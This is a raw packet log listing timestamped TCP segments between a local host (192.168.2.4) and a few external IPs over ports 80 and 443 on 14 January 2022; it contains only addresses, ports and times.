Jan 14, 2022 20:29:13.768383026 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.768424988 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.768460989 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.768465996 CET	49785	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:13.768498898 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.768503904 CET	49785	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:13.768537998 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.768575907 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.768615007 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.768616915 CET	49785	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:13.768655062 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.768655062 CET	49785	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:13.768693924 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.768733025 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.768769979 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.768780947 CET	49785	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:13.768810034 CET	49785	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:13.768810034 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.768883944 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.768923044 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.768961906 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.768980980 CET	49785	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:13.769000053 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.769037008 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.769047022 CET	49785	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:13.769076109 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.769117117 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.769121885 CET	49785	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:13.769157887 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.769160986 CET	49785	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:13.769201994 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.771259069 CET	49785	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:13.786540985 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.786597967 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.786636114 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.786653996 CET	49785	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:13.786674976 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.786716938 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.786752939 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.786762953 CET	49785	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:13.786792040 CET	49785	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:13.786793947 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.786834955 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.786873102 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.786912918 CET	49785	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:13.786914110 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.786950111 CET	49785	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:13.786950111 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.786993027 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.787029982 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.787066936 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.787076950 CET	49785	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:13.787105083 CET	49785	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:13.787106991 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.787142992 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:13.787249088 CET	49785	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:13.787319899 CET	49785	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:13.804604053 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:15.184092999 CET	49786	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:15.201452971 CET	80	49786	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:15.201595068 CET	49786	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:15.201862097 CET	49786	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:15.201884985 CET	49786	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:15.219063997 CET	80	49786	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:15.219093084 CET	80	49786	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:15.321815014 CET	80	49786	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:15.321939945 CET	49786	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:15.322173119 CET	49786	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:15.339359045 CET	80	49786	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:15.350939035 CET	49787	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:15.368416071 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:15.368563890 CET	49787	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:15.368710041 CET	49787	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:15.368725061 CET	49787	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:15.386065006 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:15.490140915 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:15.490231037 CET	49787	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:15.490521908 CET	49787	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:15.507814884 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:15.813534021 CET	49788	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:15.830920935 CET	80	49788	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:15.831078053 CET	49788	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:15.831125021 CET	49788	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:15.831134081 CET	49788	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:15.848444939 CET	80	49788	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:15.951493025 CET	80	49788	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:15.951833963 CET	49788	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:15.952056885 CET	49788	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:15.958776951 CET	49789	443	192.168.2.4	185.233.81.115
Jan 14, 2022 20:29:15.958827019 CET	443	49789	185.233.81.115	192.168.2.4
Jan 14, 2022 20:29:15.958901882 CET	49789	443	192.168.2.4	185.233.81.115
Jan 14, 2022 20:29:15.959760904 CET	49789	443	192.168.2.4	185.233.81.115
Jan 14, 2022 20:29:15.959790945 CET	443	49789	185.233.81.115	192.168.2.4
Jan 14, 2022 20:29:15.969377995 CET	80	49788	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:16.023622990 CET	443	49789	185.233.81.115	192.168.2.4
Jan 14, 2022 20:29:16.023782015 CET	49789	443	192.168.2.4	185.233.81.115
Jan 14, 2022 20:29:16.025692940 CET	49789	443	192.168.2.4	185.233.81.115
Jan 14, 2022 20:29:16.025716066 CET	443	49789	185.233.81.115	192.168.2.4
Jan 14, 2022 20:29:16.025976896 CET	443	49789	185.233.81.115	192.168.2.4
Jan 14, 2022 20:29:16.042090893 CET	49789	443	192.168.2.4	185.233.81.115
Jan 14, 2022 20:29:16.059870958 CET	443	49789	185.233.81.115	192.168.2.4
Jan 14, 2022 20:29:16.059943914 CET	443	49789	185.233.81.115	192.168.2.4
Jan 14, 2022 20:29:16.060056925 CET	49789	443	192.168.2.4	185.233.81.115
Jan 14, 2022 20:29:16.060241938 CET	49789	443	192.168.2.4	185.233.81.115
Jan 14, 2022 20:29:16.060272932 CET	443	49789	185.233.81.115	192.168.2.4
Jan 14, 2022 20:29:16.088468075 CET	49790	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:16.105807066 CET	80	49790	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:16.106823921 CET	49790	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:16.106926918 CET	49790	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:16.106939077 CET	49790	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:16.124128103 CET	80	49790	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:16.247128963 CET	80	49790	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:16.247248888 CET	49790	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:16.247291088 CET	49790	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:16.264642000 CET	80	49790	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:16.274883032 CET	49791	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:16.292347908 CET	80	49791	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:16.292840958 CET	49791	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:16.292995930 CET	49791	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:16.293020010 CET	49791	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:16.310328007 CET	80	49791	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:16.415157080 CET	80	49791	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:16.417110920 CET	49791	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:16.417375088 CET	49791	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:16.434597015 CET	80	49791	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:16.535605907 CET	49793	80	192.168.2.4	54.38.220.85
Jan 14, 2022 20:29:16.555090904 CET	80	49793	54.38.220.85	192.168.2.4
Jan 14, 2022 20:29:16.555557013 CET	49793	80	192.168.2.4	54.38.220.85
Jan 14, 2022 20:29:16.555780888 CET	49793	80	192.168.2.4	54.38.220.85
Jan 14, 2022 20:29:16.575115919 CET	80	49793	54.38.220.85	192.168.2.4
Jan 14, 2022 20:29:16.575151920 CET	80	49793	54.38.220.85	192.168.2.4
Jan 14, 2022 20:29:16.604010105 CET	49794	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:16.620043993 CET	49793	80	192.168.2.4	54.38.220.85
Jan 14, 2022 20:29:16.621356010 CET	80	49794	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:16.621701956 CET	49794	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:16.621855974 CET	49794	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:16.621875048 CET	49794	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:16.638957977 CET	80	49794	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:16.745284081 CET	80	49794	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:16.745445967 CET	49794	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:16.745589018 CET	49794	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:16.762841940 CET	80	49794	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:16.774013042 CET	49795	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:16.793128014 CET	80	49795	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:16.793225050 CET	49795	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:16.793365002 CET	49795	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:16.793498039 CET	49795	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:16.810625076 CET	80	49795	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:16.810658932 CET	80	49795	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:16.915523052 CET	80	49795	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:16.915708065 CET	49795	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:16.915766954 CET	49795	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:16.933084965 CET	80	49795	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:17.237634897 CET	49796	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:17.255096912 CET	80	49796	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:17.255204916 CET	49796	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:17.255364895 CET	49796	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:17.255378962 CET	49796	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:17.272730112 CET	80	49796	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:17.374145031 CET	80	49796	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:17.374267101 CET	49796	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:17.374435902 CET	49796	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:17.392000914 CET	80	49796	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:17.404484034 CET	49797	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:17.421777964 CET	80	49797	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:17.423362017 CET	49797	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:17.423438072 CET	49797	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:17.423448086 CET	49797	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:17.440669060 CET	80	49797	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:17.541404963 CET	80	49797	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:17.541497946 CET	49797	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:17.541726112 CET	49797	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:17.558881044 CET	80	49797	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:17.860832930 CET	49798	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:17.878127098 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:17.878242970 CET	49798	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:17.878376007 CET	49798	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:17.936944962 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:17.979799032 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:17.979856968 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:17.979893923 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:17.979932070 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:17.979948044 CET	49798	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:17.979967117 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:17.980003119 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:17.980017900 CET	49798	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:17.980038881 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:17.980073929 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:17.980073929 CET	49798	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:17.980110884 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:17.980124950 CET	49798	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:17.980145931 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:17.980207920 CET	49798	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:17.997386932 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.019103050 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.019146919 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.019171953 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.019197941 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.019201040 CET	49798	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:18.019223928 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.019248962 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.019263983 CET	49798	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:18.019273043 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.019295931 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.019320965 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.019331932 CET	49798	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:18.019342899 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.019370079 CET	49798	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:18.019418001 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.019443989 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.019458055 CET	49798	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:18.019468069 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.019491911 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.019515991 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.019530058 CET	49798	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:18.019540071 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.019562960 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.019572020 CET	49798	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:18.019594908 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.019661903 CET	49798	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:18.036827087 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.036854029 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.036874056 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.036880016 CET	49798	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:18.036890030 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.037071943 CET	49798	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:18.058367968 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.058401108 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.058425903 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.058458090 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.058480978 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.058480024 CET	49798	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:18.058504105 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.058526993 CET	49798	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:18.058527946 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.058552980 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.058577061 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.058584929 CET	49798	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:18.058602095 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.058625937 CET	49798	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:18.058625937 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.058651924 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.058667898 CET	49798	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:18.058675051 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.058698893 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.058717012 CET	49798	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:18.058721066 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.058743954 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.058763981 CET	49798	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:18.058768034 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.058790922 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.058810949 CET	49798	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:18.058814049 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.058836937 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.058854103 CET	49798	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:18.058860064 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.058882952 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.058904886 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.058923006 CET	49798	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:18.058928013 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.058949947 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.058954000 CET	49798	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:18.058971882 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.058993101 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.058994055 CET	49798	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:18.059015036 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.059035063 CET	49798	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:18.059036016 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.059057951 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.059079885 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.059087038 CET	49798	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:18.059102058 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.059119940 CET	49798	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:18.059125900 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.059146881 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.059156895 CET	49798	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:18.059170008 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.059191942 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.059211969 CET	49798	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:18.059212923 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.059235096 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.059254885 CET	49798	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:18.059257984 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.059279919 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.059300900 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.059319019 CET	49798	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:18.059320927 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.059343100 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.059354067 CET	49798	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:18.059376955 CET	49798	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:18.076442957 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.097757101 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.097795963 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.097820997 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.097843885 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.097842932 CET	49798	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:18.097888947 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.097893000 CET	49798	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:18.097917080 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.097942114 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.097944975 CET	49798	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:18.097965956 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.097990990 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.097991943 CET	49798	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:18.098012924 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.098032951 CET	49798	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:18.098037958 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.098062992 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.098088026 CET	49798	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:18.098090887 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.098119020 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.098141909 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.098160982 CET	49798	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:18.098165035 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.098186970 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.098193884 CET	49798	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:18.098210096 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.098228931 CET	49798	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:18.098234892 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.098257065 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.098277092 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.098297119 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.098320007 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.098342896 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.098366976 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.098386049 CET	49798	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:18.098392010 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.098416090 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.098432064 CET	49798	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:18.098442078 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.098457098 CET	49798	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:18.098465919 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.098490000 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.098505020 CET	49798	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:18.098510981 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.098532915 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.098551989 CET	49798	80	192.168.2.4	8.209.70.0
Jan 14, 2022 20:29:18.098556042 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.098579884 CET	80	49798	8.209.70.0	192.168.2.4
Jan 14, 2022 20:29:18.098593950 CET	49798	80	192.168.2.4	8.209.70.0
